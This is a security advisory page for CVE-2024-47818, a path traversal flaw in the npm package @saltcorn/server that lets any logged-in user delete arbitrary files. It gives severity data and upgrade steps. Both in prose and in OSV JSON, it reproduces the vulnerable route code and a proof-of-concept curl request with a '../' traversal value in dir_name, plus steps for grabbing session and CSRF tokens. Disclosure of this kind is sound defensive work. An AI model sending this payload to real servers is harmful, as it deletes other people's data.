CVE-2024-47818: @saltcorn/server Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-43f3-h63w-p6f6
CVSS 6.5
CWE-22
Published
Advisory Summary

CVE-2024-47818 is a HIGH (CVSS 6.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting @saltcorn/server libraries in the npm ecosystem. The issue involves saltcorn server allows logged-in users to delete arbitrary files because of a path traversal vulnerability. Remediation is available by upgrading affected packages to version 1.0.0-beta.16.

CVE-2024-47818 at a Glance

CVE Identifier CVE-2024-47818
GHSA Identifier GHSA-43f3-h63w-p6f6
Severity HIGH
CVSS v3.1 Base Score 6.5
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product @saltcorn/server
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2024-47818

To remediate this vulnerability, upgrade all affected @saltcorn/server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@saltcorn/server fixed: 1.0.0-beta.16
npm install @saltcorn/server@1.0.0-beta.16
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @saltcorn/server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2024-47818, inspect your project dependencies using npm:

npm ls @saltcorn/server

Analyze the terminal output to locate any version of @saltcorn/server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.0-beta.16), your application is affected.

Note: The npm ls @saltcorn/server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In @saltcorn/server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`. ### Details - file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346 ```js router.post( "/clean_sync_dir", error_catcher(async (req, res) => { const { dir_name } = req.body; // [1] source try { const rootFolder = await File.rootFolder(); const syncDir = path.join( rootFolder.location, "mobile_app", "sync", dir_name // [2] ); await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink res.status(200).send(""); } catch (error) { getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`); res.status(400).json({ error: error.message || error }); } }) ); ``` ### PoC The following PoC can be executed with a user with any role (`admin`, `staff`, `user`, `public`) - create a file in a folder different from where the server is started: ``` touch /tmp/secret cat /tmp/secret ``` - log with a user and retrieve valid `connect.sid` and `_csrf` values*** - send the following `curl` request ``` curl -i -X $'POST' \ -H $'Host: localhost:3000' \ -H $'Content-Type: application/x-www-form-urlencoded' \ -H $'Content-Length: 93' \ -H $'Origin: http://localhost:3000' \ -H $'Connection: close' \ -b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \ --data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \ $'http://localhost:3000/sync/clean_sync_dir' ``` - check if the file previously created does not exist anymore: ``` cat /tmp/secret cat: /tmp/secret: No such file or directory ``` *** obtain `connect.sid` and `_csrf` values A possible way to retrieve `connect.sid` and `_csrf` values is to use the password reset functionality: - log in - open the browser developer console, go to the `Network` tab filter for `settings` request - visit `http://localhost:3000/auth/settings` - trigger the change password functionality - under the `Headers` and `Request` tabs, grab the `connect.sid` and `_csrf` values and replace them in the curl command ### Impact Arbitrary file delete ### Recommended Mitigation Resolve the `syncDir` and check if it starts with `rootFolder.location/mobile_app/sync`.

CVE-2024-47818 Affected @saltcorn/server Versions

1 component(s)
Fixed Versions:
1.0.0-beta.16
Product / Package Ecosystem Affected Versions Fixed Version
@saltcorn/server
npm
< 1.0.0-beta.16
1.0.0-beta.16

References

Frequently Asked Questions

What is CVE-2024-47818?
CVE-2024-47818 is a security vulnerability in @saltcorn/server involving Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which @saltcorn/server versions are affected?
Affected versions include releases prior to 1.0.0-beta.16 across affected packages: @saltcorn/server.
What version fixes CVE-2024-47818?
Upgrading to 1.0.0-beta.16 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @saltcorn/server affected?
Yes, @saltcorn/server is affected in releases prior to 1.0.0-beta.16. Upgrade your dependency to 1.0.0-beta.16 or later.
What is the CVSS score of CVE-2024-47818?
CVE-2024-47818 has a CVSS v3.1 base score of 6.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2024-47818?
CVE-2024-47818 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check npm dependencies for CVE-2024-47818?
Run the dependency tree command: 'npm ls @saltcorn/server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-43f3-h63w-p6f6",
  "modified" : "2024-10-08T14:19:02Z",
  "published" : "2024-10-07T15:10:52Z",
  "aliases" : [ "CVE-2024-47818" ],
  "summary" : "Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability",
  "details" : "### Summary\n\nA logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`.\n\n### Details\n\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346\n\n```js\nrouter.post(\n  \"/clean_sync_dir\",\n  error_catcher(async (req, res) => {\n    const { dir_name } = req.body; // [1] source\n    try {\n      const rootFolder = await File.rootFolder();\n      const syncDir = path.join(\n        rootFolder.location,\n        \"mobile_app\",\n        \"sync\",\n        dir_name // [2]\n      );\n      await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink\n      res.status(200).send(\"\");\n    } catch (error) {\n      getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);\n      res.status(400).json({ error: error.message || error });\n    }\n  })\n);\n```\n\n\n### PoC\n\nThe following PoC can be executed with a user with any role (`admin`, `staff`, `user`, `public`)\n\n- create a file in a folder different from where the server is started:\n```\ntouch /tmp/secret\ncat /tmp/secret\n```\n\n- log with a user and retrieve valid `connect.sid` and `_csrf` values***\n- send the following `curl` request\n```\ncurl -i -X $'POST' \\\n  -H $'Host: localhost:3000' \\\n  -H $'Content-Type: application/x-www-form-urlencoded' \\\n  -H $'Content-Length: 93' \\\n  -H $'Origin: http://localhost:3000' \\\n  -H $'Connection: close' \\\n  -b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \\\n  --data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \\\n  $'http://localhost:3000/sync/clean_sync_dir'\n```\n\n- check if the file previously created does not exist anymore:\n```\ncat /tmp/secret\ncat: /tmp/secret: No such file or directory\n```\n\n*** obtain `connect.sid` and `_csrf` values\n\nA possible way to retrieve `connect.sid` and `_csrf` values is to use the password reset functionality:\n- log in\n- open the browser developer console, go to the `Network` tab filter for `settings` request\n- visit `http://localhost:3000/auth/settings`\n- trigger the change password functionality\n- under the `Headers` and `Request` tabs, grab the `connect.sid` and `_csrf` values and replace them in the curl command \n\n### Impact\n\nArbitrary file delete\n\n### Recommended Mitigation\n\nResolve the `syncDir` and check if it starts with `rootFolder.location/mobile_app/sync`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@saltcorn/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.0-beta.16"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.0.0-beta.15"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/saltcorn/saltcorn/security/advisories/GHSA-43f3-h63w-p6f6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-47818"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/saltcorn/saltcorn/commit/3c551261d0e230635774798009951fa83a07cc3a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/saltcorn/saltcorn"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-10-07T15:10:52Z",
    "nvd_published_at" : "2024-10-07T22:15:04Z"
  }
}